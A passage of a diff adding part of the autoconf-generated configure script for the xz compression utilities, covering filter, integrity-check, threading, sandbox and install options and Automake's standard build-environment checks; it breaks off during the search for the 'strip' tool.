+test "x$enable_decoder_x86" = xyes && enable_decoder_simple=yes +test "x$enable_filter_powerpc" = xyes && enable_filter_simple=yes +test "x$enable_encoder_powerpc" = xyes && enable_encoder_simple=yes +test "x$enable_decoder_powerpc" = xyes && enable_decoder_simple=yes +test "x$enable_filter_ia64" = xyes && enable_filter_simple=yes +test "x$enable_encoder_ia64" = xyes && enable_encoder_simple=yes +test "x$enable_decoder_ia64" = xyes && enable_decoder_simple=yes +test "x$enable_filter_arm" = xyes && enable_filter_simple=yes +test "x$enable_encoder_arm" = xyes && enable_encoder_simple=yes +test "x$enable_decoder_arm" = xyes && enable_decoder_simple=yes +test "x$enable_filter_armthumb" = xyes && enable_filter_simple=yes +test "x$enable_encoder_armthumb" = xyes && enable_encoder_simple=yes +test "x$enable_decoder_armthumb" = xyes && enable_decoder_simple=yes +test "x$enable_filter_arm64" = xyes && enable_filter_simple=yes +test "x$enable_encoder_arm64" = xyes && enable_encoder_simple=yes +test "x$enable_decoder_arm64" = xyes && enable_decoder_simple=yes +test "x$enable_filter_sparc" = xyes && enable_filter_simple=yes +test "x$enable_encoder_sparc" = xyes && enable_encoder_simple=yes +test "x$enable_decoder_sparc" = xyes && enable_decoder_simple=yes +test "x$enable_filter_riscv" = xyes && enable_filter_simple=yes +test "x$enable_encoder_riscv" = xyes && enable_encoder_simple=yes +test "x$enable_decoder_riscv" = xyes && enable_decoder_simple=yes + if test "x$enable_filter_simple" = xyes; then + COND_FILTER_SIMPLE_TRUE= + COND_FILTER_SIMPLE_FALSE='#' +else + COND_FILTER_SIMPLE_TRUE='#' + COND_FILTER_SIMPLE_FALSE= +fi + + if test "x$enable_encoder_simple" = xyes; then + COND_ENCODER_SIMPLE_TRUE= + COND_ENCODER_SIMPLE_FALSE='#' +else + COND_ENCODER_SIMPLE_TRUE='#' + COND_ENCODER_SIMPLE_FALSE= +fi + + if test "x$enable_decoder_simple" = xyes; then + COND_DECODER_SIMPLE_TRUE= + COND_DECODER_SIMPLE_FALSE='#' +else + COND_DECODER_SIMPLE_TRUE='#' + COND_DECODER_SIMPLE_FALSE= +fi + + +# LZ-based filters share common code. +enable_filter_lz=no +enable_encoder_lz=no +enable_decoder_lz=no +test "x$enable_filter_lzma1" = xyes && enable_filter_lz=yes +test "x$enable_encoder_lzma1" = xyes && enable_encoder_lz=yes +test "x$enable_decoder_lzma1" = xyes && enable_decoder_lz=yes +test "x$enable_filter_lzma2" = xyes && enable_filter_lz=yes +test "x$enable_encoder_lzma2" = xyes && enable_encoder_lz=yes +test "x$enable_decoder_lzma2" = xyes && enable_decoder_lz=yes + if test "x$enable_filter_lz" = xyes; then + COND_FILTER_LZ_TRUE= + COND_FILTER_LZ_FALSE='#' +else + COND_FILTER_LZ_TRUE='#' + COND_FILTER_LZ_FALSE= +fi + + if test "x$enable_encoder_lz" = xyes; then + COND_ENCODER_LZ_TRUE= + COND_ENCODER_LZ_FALSE='#' +else + COND_ENCODER_LZ_TRUE='#' + COND_ENCODER_LZ_FALSE= +fi + + if test "x$enable_decoder_lz" = xyes; then + COND_DECODER_LZ_TRUE= + COND_DECODER_LZ_FALSE='#' +else + COND_DECODER_LZ_TRUE='#' + COND_DECODER_LZ_FALSE= +fi + + + +################# +# Match finders # +################# + + + +enable_match_finder_hc3=no +enable_match_finder_hc4=no +enable_match_finder_bt2=no +enable_match_finder_bt3=no +enable_match_finder_bt4=no + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking which match finders to build" >&5 +printf %s "checking which match finders to build... " >&6; } +# Check whether --enable-match-finders was given. +if test ${enable_match_finders+y} +then : + enableval=$enable_match_finders; +else case e in #( + e) enable_match_finders=hc3,hc4,bt2,bt3,bt4 ;; +esac +fi + +enable_match_finders=`echo "$enable_match_finders" | sed 's/,/ /g'` +if test "x$enable_encoder_lz" = xyes ; then + if test -z "$enable_match_finders"; then + as_fn_error $? "At least one match finder is required for an LZ-based encoder." "$LINENO" 5 + fi + + for arg in $enable_match_finders + do + case $arg in + hc3) + enable_match_finder_hc3=yes + +printf "%s\n" "#define HAVE_MF_HC3 1" >>confdefs.h + + ;; + hc4) + enable_match_finder_hc4=yes + +printf "%s\n" "#define HAVE_MF_HC4 1" >>confdefs.h + + ;; + bt2) + enable_match_finder_bt2=yes + +printf "%s\n" "#define HAVE_MF_BT2 1" >>confdefs.h + + ;; + bt3) + enable_match_finder_bt3=yes + +printf "%s\n" "#define HAVE_MF_BT3 1" >>confdefs.h + + ;; + bt4) + enable_match_finder_bt4=yes + +printf "%s\n" "#define HAVE_MF_BT4 1" >>confdefs.h + + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "unknown match finder: $arg" "$LINENO" 5 + ;; + esac + done + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_match_finders" >&5 +printf "%s\n" "$enable_match_finders" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: (none because not building any LZ-based encoder)" >&5 +printf "%s\n" "(none because not building any LZ-based encoder)" >&6; } +fi + + +#################### +# Integrity checks # +#################### + + + +enable_check_crc32=no +enable_check_crc64=no +enable_check_sha256=no + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking which integrity checks to build" >&5 +printf %s "checking which integrity checks to build... " >&6; } +# Check whether --enable-checks was given. +if test ${enable_checks+y} +then : + enableval=$enable_checks; +else case e in #( + e) enable_checks=crc32,crc64,sha256 ;; +esac +fi + +enable_checks=`echo "$enable_checks" | sed 's/,/ /g'` +if test "x$enable_checks" = xno || test "x$enable_checks" = x; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: (none)" >&5 +printf "%s\n" "(none)" >&6; } +else + for arg in $enable_checks + do + case $arg in + crc32) + enable_check_crc32=yes + +printf "%s\n" "#define HAVE_CHECK_CRC32 1" >>confdefs.h + + ;; + crc64) + enable_check_crc64=yes + +printf "%s\n" "#define HAVE_CHECK_CRC64 1" >>confdefs.h + + ;; + sha256) + enable_check_sha256=yes + +printf "%s\n" "#define HAVE_CHECK_SHA256 1" >>confdefs.h + + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "unknown integrity check: $arg" "$LINENO" 5 + ;; + esac + done + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_checks" >&5 +printf "%s\n" "$enable_checks" >&6; } +fi +if test "x$enable_check_crc32" = xno ; then + as_fn_error $? "For now, the CRC32 check must always be enabled." "$LINENO" 5 +fi + + if test "x$enable_check_crc32" = xyes; then + COND_CHECK_CRC32_TRUE= + COND_CHECK_CRC32_FALSE='#' +else + COND_CHECK_CRC32_TRUE='#' + COND_CHECK_CRC32_FALSE= +fi + + if test "x$enable_check_crc64" = xyes; then + COND_CHECK_CRC64_TRUE= + COND_CHECK_CRC64_FALSE='#' +else + COND_CHECK_CRC64_TRUE='#' + COND_CHECK_CRC64_FALSE= +fi + + if test "x$enable_check_sha256" = xyes; then + COND_CHECK_SHA256_TRUE= + COND_CHECK_SHA256_FALSE='#' +else + COND_CHECK_SHA256_TRUE='#' + COND_CHECK_SHA256_FALSE= +fi + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if external SHA-256 should be used" >&5 +printf %s "checking if external SHA-256 should be used... " >&6; } +# Check whether --enable-external-sha256 was given. +if test ${enable_external_sha256+y} +then : + enableval=$enable_external_sha256; +else case e in #( + e) enable_external_sha256=no ;; +esac +fi + +if test "x$enable_check_sha256" != "xyes"; then + enable_external_sha256=no +fi +if test "x$enable_external_sha256" = xyes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +############# +# MicroLZMA # +############# + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if MicroLZMA support should be built" >&5 +printf %s "checking if MicroLZMA support should be built... " >&6; } +# Check whether --enable-microlzma was given. +if test ${enable_microlzma+y} +then : + enableval=$enable_microlzma; +else case e in #( + e) enable_microlzma=yes ;; +esac +fi + +case $enable_microlzma in + yes) + +printf "%s\n" "#define HAVE_MICROLZMA 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + ;; + no) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "--enable-microlzma accepts only 'yes' or 'no'." "$LINENO" 5 + ;; +esac + if test "x$enable_microlzma" = xyes; then + COND_MICROLZMA_TRUE= + COND_MICROLZMA_FALSE='#' +else + COND_MICROLZMA_TRUE='#' + COND_MICROLZMA_FALSE= +fi + + + +############################# +# .lz (lzip) format support # +############################# + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if .lz (lzip) decompression support should be built" >&5 +printf %s "checking if .lz (lzip) decompression support should be built... " >&6; } +# Check whether --enable-lzip-decoder was given. +if test ${enable_lzip_decoder+y} +then : + enableval=$enable_lzip_decoder; +else case e in #( + e) enable_lzip_decoder=yes ;; +esac +fi + +if test "x$enable_decoder_lzma1" != xyes; then + enable_lzip_decoder=no + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no because LZMA1 decoder is disabled" >&5 +printf "%s\n" "no because LZMA1 decoder is disabled" >&6; } +elif test "x$enable_lzip_decoder" = xyes; then + +printf "%s\n" "#define HAVE_LZIP_DECODER 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + if test "x$enable_lzip_decoder" = xyes; then + COND_LZIP_DECODER_TRUE= + COND_LZIP_DECODER_FALSE='#' +else + COND_LZIP_DECODER_TRUE='#' + COND_LZIP_DECODER_FALSE= +fi + + + +########################### +# Assembler optimizations # +########################### + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if assembler optimizations should be used" >&5 +printf %s "checking if assembler optimizations should be used... " >&6; } +# Check whether --enable-assembler was given. +if test ${enable_assembler+y} +then : + enableval=$enable_assembler; +else case e in #( + e) enable_assembler=yes ;; +esac +fi + +if test "x$enable_assembler" = xyes; then + enable_assembler=no + case $host_os in + # Darwin should work too but only if not creating universal + # binaries. Solaris x86 could work too but I cannot test. + linux* | *bsd* | mingw* | cygwin | msys | *djgpp*) + case $host_cpu in + i?86) enable_assembler=x86 ;; + esac + ;; + esac +fi +case $enable_assembler in + x86 | no) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_assembler" >&5 +printf "%s\n" "$enable_assembler" >&6; } + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "--enable-assembler accepts only 'yes', 'no', or 'x86' (32-bit)." "$LINENO" 5 + ;; +esac + if test "x$enable_assembler" = xx86; then + COND_ASM_X86_TRUE= + COND_ASM_X86_FALSE='#' +else + COND_ASM_X86_TRUE='#' + COND_ASM_X86_FALSE= +fi + + + +############# +# CLMUL CRC # +############# + +# Check whether --enable-clmul-crc was given. +if test ${enable_clmul_crc+y} +then : + enableval=$enable_clmul_crc; +else case e in #( + e) enable_clmul_crc=yes ;; +esac +fi + + + +############################ +# ARM64 CRC32 Instructions # +############################ + +# Check whether --enable-arm64-crc32 was given. +if test ${enable_arm64_crc32+y} +then : + enableval=$enable_arm64_crc32; +else case e in #( + e) enable_arm64_crc32=yes ;; +esac +fi + + + +##################### +# Size optimization # +##################### + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if small size is preferred over speed" >&5 +printf %s "checking if small size is preferred over speed... " >&6; } +# Check whether --enable-small was given. +if test ${enable_small+y} +then : + enableval=$enable_small; +else case e in #( + e) enable_small=no ;; +esac +fi + +if test "x$enable_small" = xyes; then + +printf "%s\n" "#define HAVE_SMALL 1" >>confdefs.h + +elif test "x$enable_small" != xno; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "--enable-small accepts only 'yes' or 'no'" "$LINENO" 5 +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_small" >&5 +printf "%s\n" "$enable_small" >&6; } + if test "x$enable_small" = xyes; then + COND_SMALL_TRUE= + COND_SMALL_FALSE='#' +else + COND_SMALL_TRUE='#' + COND_SMALL_FALSE= +fi + + + +############# +# Threading # +############# + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if threading support is wanted" >&5 +printf %s "checking if threading support is wanted... " >&6; } +# Check whether --enable-threads was given. +if test ${enable_threads+y} +then : + enableval=$enable_threads; +else case e in #( + e) enable_threads=yes ;; +esac +fi + + +if test "x$enable_threads" = xyes; then + case $host_os in + mingw*) + case $host_cpu in + i?86) enable_threads=win95 ;; + *) enable_threads=vista ;; + esac + ;; + *) + enable_threads=posix + ;; + esac +fi + +case $enable_threads in + posix | win95 | vista) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes, $enable_threads" >&5 +printf "%s\n" "yes, $enable_threads" >&6; } + ;; + no) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "--enable-threads only accepts 'yes', 'no', 'posix', 'win95', or 'vista'" "$LINENO" 5 + ;; +esac + +# We use the actual result a little later. + + +######################### +# Assumed amount of RAM # +######################### + +# We use 128 MiB as default, because it will allow decompressing files +# created with "xz -9". It would be slightly safer to guess a lower value, +# but most systems, on which we don't have any way to determine the amount +# of RAM, will probably have at least 128 MiB of RAM. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how much RAM to assume if the real amount is unknown" >&5 +printf %s "checking how much RAM to assume if the real amount is unknown... " >&6; } +# Check whether --enable-assume-ram was given. +if test ${enable_assume_ram+y} +then : + enableval=$enable_assume_ram; +else case e in #( + e) enable_assume_ram=128 ;; +esac +fi + +assume_ram_check=`echo "$enable_assume_ram" | tr -d 0123456789` +if test -z "$enable_assume_ram" || test -n "$assume_ram_check"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "--enable-assume-ram accepts only an integer argument" "$LINENO" 5 +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_assume_ram MiB" >&5 +printf "%s\n" "$enable_assume_ram MiB" >&6; } + +printf "%s\n" "#define ASSUME_RAM $enable_assume_ram" >>confdefs.h + + + +######################### +# Components to install # +######################### + +# Check whether --enable-xz was given. +if test ${enable_xz+y} +then : + enableval=$enable_xz; +else case e in #( + e) enable_xz=yes ;; +esac +fi + + if test x$enable_xz != xno; then + COND_XZ_TRUE= + COND_XZ_FALSE='#' +else + COND_XZ_TRUE='#' + COND_XZ_FALSE= +fi + + +# Check whether --enable-xzdec was given. +if test ${enable_xzdec+y} +then : + enableval=$enable_xzdec; +else case e in #( + e) enable_xzdec=yes ;; +esac +fi + +test "x$enable_decoders" = xno && enable_xzdec=no + if test x$enable_xzdec != xno; then + COND_XZDEC_TRUE= + COND_XZDEC_FALSE='#' +else + COND_XZDEC_TRUE='#' + COND_XZDEC_FALSE= +fi + + +# Check whether --enable-lzmadec was given. +if test ${enable_lzmadec+y} +then : + enableval=$enable_lzmadec; +else case e in #( + e) enable_lzmadec=yes ;; +esac +fi + +test "x$enable_decoder_lzma1" = xno && enable_lzmadec=no + if test x$enable_lzmadec != xno; then + COND_LZMADEC_TRUE= + COND_LZMADEC_FALSE='#' +else + COND_LZMADEC_TRUE='#' + COND_LZMADEC_FALSE= +fi + + +# Check whether --enable-lzmainfo was given. +if test ${enable_lzmainfo+y} +then : + enableval=$enable_lzmainfo; +else case e in #( + e) enable_lzmainfo=yes ;; +esac +fi + +test "x$enable_decoder_lzma1" = xno && enable_lzmainfo=no + if test x$enable_lzmainfo != xno; then + COND_LZMAINFO_TRUE= + COND_LZMAINFO_FALSE='#' +else + COND_LZMAINFO_TRUE='#' + COND_LZMAINFO_FALSE= +fi + + +# Check whether --enable-lzma-links was given. +if test ${enable_lzma_links+y} +then : + enableval=$enable_lzma_links; +else case e in #( + e) enable_lzma_links=yes ;; +esac +fi + + if test x$enable_lzma_links != xno; then + COND_LZMALINKS_TRUE= + COND_LZMALINKS_FALSE='#' +else + COND_LZMALINKS_TRUE='#' + COND_LZMALINKS_FALSE= +fi + + +# Check whether --enable-scripts was given. +if test ${enable_scripts+y} +then : + enableval=$enable_scripts; +else case e in #( + e) enable_scripts=yes ;; +esac +fi + + if test x$enable_scripts != xno; then + COND_SCRIPTS_TRUE= + COND_SCRIPTS_FALSE='#' +else + COND_SCRIPTS_TRUE='#' + COND_SCRIPTS_FALSE= +fi + + +# Check whether --enable-doc was given. +if test ${enable_doc+y} +then : + enableval=$enable_doc; +else case e in #( + e) enable_doc=yes ;; +esac +fi + + if test x$enable_doc != xno; then + COND_DOC_TRUE= + COND_DOC_FALSE='#' +else + COND_DOC_TRUE='#' + COND_DOC_FALSE= +fi + + + +############## +# Sandboxing # +############## + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if sandboxing should be used" >&5 +printf %s "checking if sandboxing should be used... " >&6; } +# Check whether --enable-sandbox was given. +if test ${enable_sandbox+y} +then : + enableval=$enable_sandbox; +else case e in #( + e) enable_sandbox=auto ;; +esac +fi + +case $enable_xzdec-$enable_xz-$enable_sandbox in + no-no-*) + enable_sandbox=no + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no, --disable-xz and --disable-xzdec was used" >&5 +printf "%s\n" "no, --disable-xz and --disable-xzdec was used" >&6; } + ;; + *-*-auto) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: maybe (autodetect)" >&5 +printf "%s\n" "maybe (autodetect)" >&6; } + ;; + *-*-no | *-*-capsicum | *-*-pledge | *-*-landlock) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_sandbox" >&5 +printf "%s\n" "$enable_sandbox" >&6; } + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? "--enable-sandbox only accepts 'auto', 'no', 'capsicum', 'pledge', or 'landlock'." "$LINENO" 5 + ;; +esac + + +########################### +# PATH prefix for scripts # +########################### + +# The scripts can add a prefix to the search PATH so that POSIX tools +# or the xz binary is always in the PATH. +# Check whether --enable-path-for-scripts was given. +if test ${enable_path_for_scripts+y} +then : + enableval=$enable_path_for_scripts; +else case e in #( + e) + case $host_os in + solaris*) enable_path_for_scripts=/usr/xpg4/bin ;; + *) enable_path_for_scripts= ;; + esac + ;; +esac +fi + +if test -n "$enable_path_for_scripts" && test "x$enable_path_for_scripts" != xno ; then + enable_path_for_scripts="PATH=$enable_path_for_scripts:\$PATH" +else + enable_path_for_scripts= +fi + + + +############################################################################### +# Checks for programs. +############################################################################### + +echo +case $host_os in + solaris*) + # The gnulib POSIX shell macro below may pick a shell that + # doesn't work with xzgrep. Workaround by picking a shell + # that is known to work. + if test -z "$gl_cv_posix_shell" && test -x /usr/xpg4/bin/sh; then + gl_cv_posix_shell=/usr/xpg4/bin/sh + fi + ;; +esac + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a shell that conforms to POSIX" >&5 +printf %s "checking for a shell that conforms to POSIX... " >&6; } +if test ${gl_cv_posix_shell+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) gl_test_posix_shell_script=' + func_return () { + (exit $1) + } + func_success () { + func_return 0 + } + func_failure () { + func_return 1 + } + func_ret_success () { + return 0 + } + func_ret_failure () { + return 1 + } + subshell_umask_sanity () { + (umask 22; (umask 0); test $(umask) -eq 22) + } + test "$(echo foo)" = foo && + func_success && + ! func_failure && + func_ret_success && + ! func_ret_failure && + (set x && func_ret_success y && test x = "$1") && + subshell_umask_sanity + ' + for gl_cv_posix_shell in \ + "$CONFIG_SHELL" "$SHELL" /bin/sh /bin/bash /bin/ksh /bin/sh5 no; do + case $gl_cv_posix_shell in + /*) + "$gl_cv_posix_shell" -c "$gl_test_posix_shell_script" 2>/dev/null \ + && break;; + esac + done ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gl_cv_posix_shell" >&5 +printf "%s\n" "$gl_cv_posix_shell" >&6; } + + if test "$gl_cv_posix_shell" != no; then + POSIX_SHELL=$gl_cv_posix_shell + PREFERABLY_POSIX_SHELL=$POSIX_SHELL + else + POSIX_SHELL= + PREFERABLY_POSIX_SHELL=/bin/sh + fi + + + +if test -z "$POSIX_SHELL" && test "x$enable_scripts" = xyes ; then + as_fn_error $? "No POSIX conforming shell (sh) was found." "$LINENO" 5 +fi + +echo +echo "Initializing Automake:" + +# We don't use "subdir-objects" yet because it breaks "make distclean" when +# dependencies are enabled (as of Automake 1.14.1) due to this bug: +# https://debbugs.gnu.org/cgi/bugreport.cgi?bug=17354 +# The -Wno-unsupported is used to silence warnings about missing +# "subdir-objects". +am__api_version='1.16' + + + # Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +# Reject install programs that cannot install multiple files. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a BSD-compatible install" >&5 +printf %s "checking for a BSD-compatible install... " >&6; } +if test -z "$INSTALL"; then +if test ${ac_cv_path_install+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + # Account for fact that we put trailing slashes in our PATH walk. +case $as_dir in #(( + ./ | /[cC]/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:[\\/]os2[\\/]install[\\/]* | ?:[\\/]OS2[\\/]INSTALL[\\/]* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_prog$ac_exec_ext"; then + if test $ac_prog = install && + grep dspmsg "$as_dir$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + rm -rf conftest.one conftest.two conftest.dir + echo one > conftest.one + echo two > conftest.two + mkdir conftest.dir + if "$as_dir$ac_prog$ac_exec_ext" -c conftest.one conftest.two "`pwd`/conftest.dir/" && + test -s conftest.one && test -s conftest.two && + test -s conftest.dir/conftest.one && + test -s conftest.dir/conftest.two + then + ac_cv_path_install="$as_dir$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + fi + done + done + ;; +esac + + done +IFS=$as_save_IFS + +rm -rf conftest.one conftest.two conftest.dir + ;; +esac +fi + if test ${ac_cv_path_install+y}; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. Don't cache a + # value for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + INSTALL=$ac_install_sh + fi +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $INSTALL" >&5 +printf "%s\n" "$INSTALL" >&6; } + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether build environment is sane" >&5 +printf %s "checking whether build environment is sane... " >&6; } +# Reject unsafe characters in $srcdir or the absolute working directory +# name. Accept space and tab only in the latter. +am_lf=' +' +case `pwd` in + *[\\\"\#\$\&\'\`$am_lf]*) + as_fn_error $? "unsafe absolute working directory name" "$LINENO" 5;; +esac +case $srcdir in + *[\\\"\#\$\&\'\`$am_lf\ \ ]*) + as_fn_error $? "unsafe srcdir value: '$srcdir'" "$LINENO" 5;; +esac + +# Do 'set' in a subshell so we don't clobber the current shell's +# arguments. Must try -L first in case configure is actually a +# symlink; some systems play weird games with the mod time of symlinks +# (eg FreeBSD returns the mod time of the symlink's containing +# directory). +if ( + am_has_slept=no + for am_try in 1 2; do + echo "timestamp, slept: $am_has_slept" > conftest.file + set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` + if test "$*" = "X"; then + # -L didn't work. + set X `ls -t "$srcdir/configure" conftest.file` + fi + if test "$*" != "X $srcdir/configure conftest.file" \ + && test "$*" != "X conftest.file $srcdir/configure"; then + + # If neither matched, then we have a broken ls. This can happen + # if, for instance, CONFIG_SHELL is bash and it inherits a + # broken ls alias from the environment. This has actually + # happened. Such a system could not be considered "sane". + as_fn_error $? "ls -t appears to fail. Make sure there is not a broken + alias in your environment" "$LINENO" 5 + fi + if test "$2" = conftest.file || test $am_try -eq 2; then + break + fi + # Just in case. + sleep 1 + am_has_slept=yes + done + test "$2" = conftest.file + ) +then + # Ok. + : +else + as_fn_error $? "newly created file is older than distributed files! +Check your system clock" "$LINENO" 5 +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +# If we didn't sleep, we still need to ensure time stamps of config.status and +# generated files are strictly newer. +am_sleep_pid= +if grep 'slept: no' conftest.file >/dev/null 2>&1; then + ( sleep 1 ) & + am_sleep_pid=$! +fi + +rm -f conftest.file + +test "$program_prefix" != NONE && + program_transform_name="s&^&$program_prefix&;$program_transform_name" +# Use a double $ so make ignores it. +test "$program_suffix" != NONE && + program_transform_name="s&\$&$program_suffix&;$program_transform_name" +# Double any \ or $. +# By default was 's,x,x', remove it if useless. +ac_script='s/[\\$]/&&/g;s/;s,x,x,$//' +program_transform_name=`printf "%s\n" "$program_transform_name" | sed "$ac_script"` + + +# Expand $ac_aux_dir to an absolute path. +am_aux_dir=`cd "$ac_aux_dir" && pwd` + + + if test x"${MISSING+set}" != xset; then + MISSING="\${SHELL} '$am_aux_dir/missing'" +fi +# Use eval to expand $SHELL +if eval "$MISSING --is-lightweight"; then + am_missing_run="$MISSING " +else + am_missing_run= + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: 'missing' script is too old or missing" >&5 +printf "%s\n" "$as_me: WARNING: 'missing' script is too old or missing" >&2;} +fi + +if test x"${install_sh+set}" != xset; then + case $am_aux_dir in + *\ * | *\ *) + install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; + *) + install_sh="\${SHELL} $am_aux_dir/install-sh" + esac +fi + +# Installed binaries are usually stripped using 'strip' when the user +# run "make install-strip". However 'strip' might not be the right +# tool to use in cross-compilation environments, therefore Automake +# will honor the 'STRIP' environment variable to overrule this program. +if test "$cross_compiling" != no; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_STRIP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_STRIP="${ac_tool_prefix}strip" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 +printf "%s\n" "$STRIP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_STRIP+y} +then : + 